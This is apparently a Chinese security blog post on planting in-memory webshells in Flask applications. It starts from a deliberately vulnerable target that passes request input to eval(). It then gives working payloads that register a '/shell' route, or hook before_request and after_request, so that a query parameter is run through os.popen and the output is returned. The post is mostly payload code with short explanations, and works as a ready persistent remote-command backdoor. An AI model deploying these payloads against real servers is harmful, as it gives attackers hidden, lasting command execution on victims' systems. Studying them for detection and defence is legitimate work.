常常听说java的内存马,python的内存马却鲜少听说

旧版flask

靶机代码

from flask import Flask, request, render_template_string

app = Flask(__name__)
@app.route('/e')
def e():
    a = eval(request.args.get('cmd'))
    if a :
        return "1"
    else:
        return "0"

网络上的多数信息是,利用ssti打一个命令执行

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

其中关键是

app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )

在早期的时候是用add_url_rule函数,他的作用是添加一个新路由,在正常开发中我们常使用的是

@app.route('/')
def index():
    pass

而他等价于

def index():
    pass
app.add_url_rule('/', 'index', index)

回到关键payload

app.add_url_rule向当前的应用添加了一个新的路由,指向shell之后通过lambda匿名函数构建了路由逻辑,通过flask自动调用

而之后的

{
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
}

分别提供了request对象与app,使得上面运行正常

新版

在最新的flask中使用上述payload,会出现如下错误

AssertionError: The setup method 'add_url_rule' can no longer be called on the application. 
It has already handled its first request, any changes will not be applied consistently.

在新版中,add_url_rule不能在启动后直接添加了,不能接收路由变更

@app.before_request AND @app.after_request

在新版的内存马利用中,最重要的就是这两个装饰器,先从before_request说起

他允许我们在每个请求之前先进行某些操作

而这个装饰器的底层函数是before_request,而他实际上也只调用了

self.before_request_funcs.setdefault(None, []).append(f)

如果将f篡改为lambda表达式,则每次 无论请求什么都会先执行他

app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())

之后是after_request函数,与前面相反他是在每个请求后执行

eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")

这里就不截图了,搜索定位def after_request即可,更多的利用链可以看这两位师傅的博客

新版FLASK下python内存马的研究 - gxngxngxn - 博客园

xz.aliyun.com

参考文档

xz.aliyun.com

xz.aliyun.com

新版FLASK下python内存马的研究 - gxngxngxn - 博客园

Python Web 内存马多框架植入技术详解

flask.Flask.add_url_rule — Flask API

Python lambda(匿名函数) | 菜鸟教程

flask不出网回显方式 - Longlone’s Blog

Flask 使用 after_request 和 before_request 处理特定请求的方法|极客教程